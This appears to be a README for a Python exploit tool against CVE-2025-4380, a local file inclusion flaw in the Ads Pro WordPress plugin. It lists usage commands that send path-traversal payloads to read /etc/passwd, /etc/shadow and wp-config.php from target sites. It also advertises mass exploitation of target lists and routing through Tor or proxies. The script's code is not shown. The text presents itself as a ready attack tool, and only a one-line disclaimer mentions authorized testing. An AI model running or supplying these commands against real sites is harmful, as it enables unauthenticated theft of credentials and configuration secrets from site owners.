CVE-2025-4380 - Ads Pro Plugin <= 4.89 - Local File Inclusion (LFI) Exploit

Description

This Python exploit targets Ads Pro Plugin ≤ 4.89 for WordPress, vulnerable to Local File Inclusion (LFI) via the bsa_preview_callback AJAX action.

An unauthenticated attacker can exploit this to read arbitrary files from the server filesystem, including sensitive files such as /etc/passwd, wp-config.php, and more.

Exploit Features

• Exploits CVE-2025-4380 LFI vulnerability.
• Supports single target or mass exploitation.
• Saves outputs to file (optional).
• Supports HTTP proxies or TOR routing.
• Retry mechanism for reliability.

Usage

Single Target

python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd

Multiple Targets (Mass Scan)

python3 cve_2025_4380.py -l targets.txt -p ../../../../etc/shadow

Save Output to File

python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd -o output.txt

Use Proxy (e.g., Burp, TOR)

python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd --proxy http://127.0.0.1:8080

Parameters

Example

Burpsuite Request/Response

Vulnerability Reference

• CVE-2025-4380

• Ads Pro Plugin <= 4.89 - Local File Inclusion via bsa_template in bsa_preview_callback

⚠️ Disclaimer

This exploit is provided for educational purposes and authorized security testing only.

Official Channels

• YouTube @rootctf
• X @r0otk3r